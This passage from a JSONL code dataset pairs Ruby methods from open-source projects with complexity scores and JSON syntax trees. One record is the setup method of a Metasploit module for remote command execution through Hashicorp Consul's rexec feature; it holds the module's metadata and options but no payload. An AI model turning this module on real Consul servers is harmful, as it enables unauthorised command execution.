end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"peek_release_header?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"peek\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RELEASE_HEADER\"]},\"length\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"RELEASE_HEADER\"]}]}]}","id":"225b7689-98e5-4335-8a51-d45cae51404b"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/detector.rb","start_line":44,"raw_source":"def initialize_visit(point)\n {\n start_time: point.timestamp,\n end_time: point.timestamp,\n center_lat: point.lat,\n center_lon: point.lon,\n points: [point]\n }\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"center_lat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lat\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"center_lon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"lon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"points\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]}]}]}]}]}","id":"398ff568-7ab4-4e24-b2e3-59de41f1359b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/38_ci_cd_analytics.rb","start_line":62,"raw_source":"def create_pipelines!\n branches = project.repository.branches.sample(15)\n pipeline_statuses = [:success, :failed]\n\n branches.each do |branch|\n FactoryBot.create(\n :ci_pipeline,\n pipeline_statuses.sample,\n project: project,\n ref: branch.name,\n sha: branch.target,\n created_at: random_past_date,\n duration: rand(10).hours\n )\n end\n end","complexity_score":20.33,"ast_json":"{\"type\":\"def\",\"children\":[\"create_pipelines!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"branches\"]},\"sample\",{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_statuses\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"failed\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ci_pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_statuses\"]},\"sample\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"random_past_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"hours\"]}]}]}]}]}]}]}","id":"9398d889-d72a-4f3a-babf-4b7bf4c82f19"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/connection.rb","start_line":32,"raw_source":"def database_engine\n raw_query = <<~SQL\n SELECT engine\n FROM system.databases WHERE name = {database_name: String}\n LIMIT 1\n SQL\n\n placeholders = { database_name: database_name }\n\n query = ClickHouse::Client::Query.new(raw_query: raw_query, placeholders: placeholders)\n\n # Falling back to 'Atomic' engine if we cannot determine the DB engine.\n # This fallback will likely never happen as the application wouldn't be\n # able to boot up without an existing database.\n select(query).first['engine'] || 'Atomic'\n end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"database_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT engine\\n\"]},{\"type\":\"str\",\"children\":[\"FROM system.databases WHERE name = {database_name: String}\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT 1\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"placeholders\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_name\"]},{\"type\":\"send\",\"children\":[null,\"database_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"Client\"]},\"Query\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_query\"]},{\"type\":\"lvar\",\"children\":[\"raw_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholders\"]},{\"type\":\"lvar\",\"children\":[\"placeholders\"]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"engine\"]}]},{\"type\":\"str\",\"children\":[\"Atomic\"]}]}]}]}","id":"b4dab905-daca-4931-a15e-abc8c341af32"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/undo_follow_serializer.rb","start_line":16,"raw_source":"def actor\n ActivityPub::TagManager.instance.uri_for(object.account)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]}","id":"1e93c744-00f8-4f35-bb16-e88222f52b08"} {"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":481,"raw_source":"def valid_audience_segment_match\n return if audience_segment.blank? || audience_segment_type.blank?\n\n errors.add(:audience_segment_type) if audience_segment.type_of.to_s != audience_segment_type.to_s\n end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_audience_segment_match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment_type\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment\"]},\"type_of\"]},\"to_s\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_segment_type\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"audience_segment_type\"]}]},null]}]}]}","id":"c51ac074-3f12-45cf-a562-cda2e0541714"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/sub_menus/common.rb","start_line":7,"raw_source":"def self.included(base)\n super\n\n base.class_eval do\n view 'app/assets/javascripts/super_sidebar/components/super_sidebar.vue' do\n element 'super-sidebar'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/create_menu.vue' do\n element 'new-menu-toggle'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/menu_section.vue' do\n element 'menu-section-button'\n element 'menu-section'\n end\n\n view 'app/assets/javascripts/super_sidebar/components/nav_item.vue' do\n element 'nav-item-link'\n end\n end\n end","complexity_score":22.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/super_sidebar.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"super-sidebar\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/create_menu.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"new-menu-toggle\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/menu_section.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"menu-section-button\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"menu-section\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/nav_item.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"nav-item-link\"]}]}]}]}]}]}]}","id":"42a38e44-30a7-403a-bd10-08659d2c8c54"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/group_merge_requests_resolver.rb","start_line":27,"raw_source":"def no_results_possible?(args)\n group.nil? || some_argument_is_empty?(args)\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"no_results_possible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"some_argument_is_empty?\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"909e1e60-f28f-43ad-8d89-fc0dd76afcb1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/finder_methods.rb","start_line":24,"raw_source":"def raise_not_found_unless_authorized(result)\n result = if_authorized(result)\n\n unless result\n # This fetches the model from the `ActiveRecord::Relation` but does not\n # actually execute the query.\n model = execute.model\n raise ActiveRecord::RecordNotFound, \"Couldn't find #{model}\"\n end\n\n result\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_not_found_unless_authorized\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"if_authorized\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\"]},\"model\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"c87d1e01-5757-4406-b621-310d5d6da453"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb","start_line":81,"raw_source":"def test_disable_extension_raises_when_dependent_objects_exist\n @connection.enable_extension(\"hstore\")\n @connection.create_table(:hstores) do |t|\n t.hstore :settings\n end\n\n error = assert_raises(StandardError) do\n @connection.disable_extension(:hstore)\n end\n assert_match(/cannot drop extension hstore because other objects depend on it/i, error.message)\n ensure\n @connection.drop_table(:hstores, if_exists: true)\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_disable_extension_raises_when_dependent_objects_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"enable_extension\",{\"type\":\"str\",\"children\":[\"hstore\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"hstores\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"hstore\",{\"type\":\"sym\",\"children\":[\"settings\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"disable_extension\",{\"type\":\"sym\",\"children\":[\"hstore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"cannot drop extension hstore because other objects depend on it\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"hstores\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"aedb3fa9-abb7-4784-ab7a-6fbb2abde956"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/output_test.rb","start_line":44,"raw_source":"def test_variable_traversing_with_two_brackets\n source = \"{{ site.data.menu[include.menu][include.locale] }}\"\n assert_template_result(\"it works!\", source, {\n \"site\" => { \"data\" => { \"menu\" => { \"foo\" => { \"bar\" => \"it works!\" } } } },\n \"include\" => { \"menu\" => \"foo\", \"locale\" => \"bar\" },\n })\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_variable_traversing_with_two_brackets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"str\",\"children\":[\"{{ site.data.menu[include.menu][include.locale] }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"it works!\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"site\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"menu\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"str\",\"children\":[\"it works!\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"menu\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]}]}","id":"00a571b4-0cad-4e63-8b29-69505199ab37"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/generate-failed-test-on-omnibus-mr-message.rb","start_line":21,"raw_source":"def execute\n return unless failed_package_and_test_pipeline\n\n add_discussion_to_mr\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_package_and_test_pipeline\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_discussion_to_mr\"]}]}]}","id":"2dce8ae9-a48f-4817-91ac-c59bfa34ce00"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/consul_rexec_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => \"Hashicorp Consul Remote Command Execution via Rexec\",\n 'Description' => %q{\n This module exploits a feature of Hashicorp Consul named rexec.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC\n 'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC\n 'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module\n ],\n 'References' => [\n [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],\n [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],\n [ 'URL', 'https://github.com/torque59/Garfield' ]\n ],\n 'Platform' => 'linux',\n 'Targets' => [ [ 'Linux', {} ] ],\n 'Payload' => {},\n 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],\n 'Privileged' => false,\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2018-08-11',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The base path', '/']),\n OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),\n OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),\n OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),\n Opt::RPORT(8500)\n ]\n )\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Hashicorp Consul Remote Command Execution via Rexec\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a feature of Hashicorp Consul named rexec.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Francis Alexander <helofrancis[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Quentin Kaiser <kaiserquentin[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.consul.io/docs/agent/options.html#disable_remote_exec\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.consul.io/docs/commands/exec.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/torque59/Garfield\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"bourne\"]},{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"wget\"]},{\"type\":\"str\",\"children\":[\"curl\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-08-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL/TLS for outgoing connections\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The timeout to use when waiting for the command to trigger\"]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ACL_TOKEN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Consul Agent ACL token\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8500]}]}]}]}]}]}","id":"31fe7fc8-ee7d-4be1-a89e-900397e55e17"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/edit_form_header_component.rb","start_line":34,"raw_source":"def initialize(storage:, selected:)\n super\n @storage = storage\n @selected = selected\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"storage\"]},{\"type\":\"kwarg\",\"children\":[\"selected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@selected\",{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]}]}","id":"12f66132-8a95-42c8-90d9-931789ca1fb9"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/error.rb","start_line":9,"raw_source":"def initialize(response = nil, message = nil)\n @response = response\n super(message || response&.body)\n end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]}","id":"9cfc05cf-9e69-4d54-8c51-bd9a90a47607"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/parser/test_test.rb","start_line":77,"raw_source":"def test_parse_single_test_no_name_no_holiday\n input = [ { \"given\" => { \"date\" => \"2016-01-01\", \"regions\" => ['us']}, \"expect\" => { \"holiday\" => false } } ]\n @validator.expects(:valid?).with({:dates => [\"2016-01-01\"], :regions=> ['us'], :name => nil, :options => nil, :holiday => false}).returns(true)\n\n result = @parser.call(input)\n\n assert_equal(1, result.size)\n\n test = result.first\n assert(test)\n\n assert(test.is_a?(Holidays::Definition::Entity::Test))\n assert_equal([DateTime.parse('2016-01-01')], test.dates)\n assert_equal([:us], test.regions)\n assert_nil(test.options)\n assert_nil(test.name)\n assert_equal(false, test.holiday?)\n 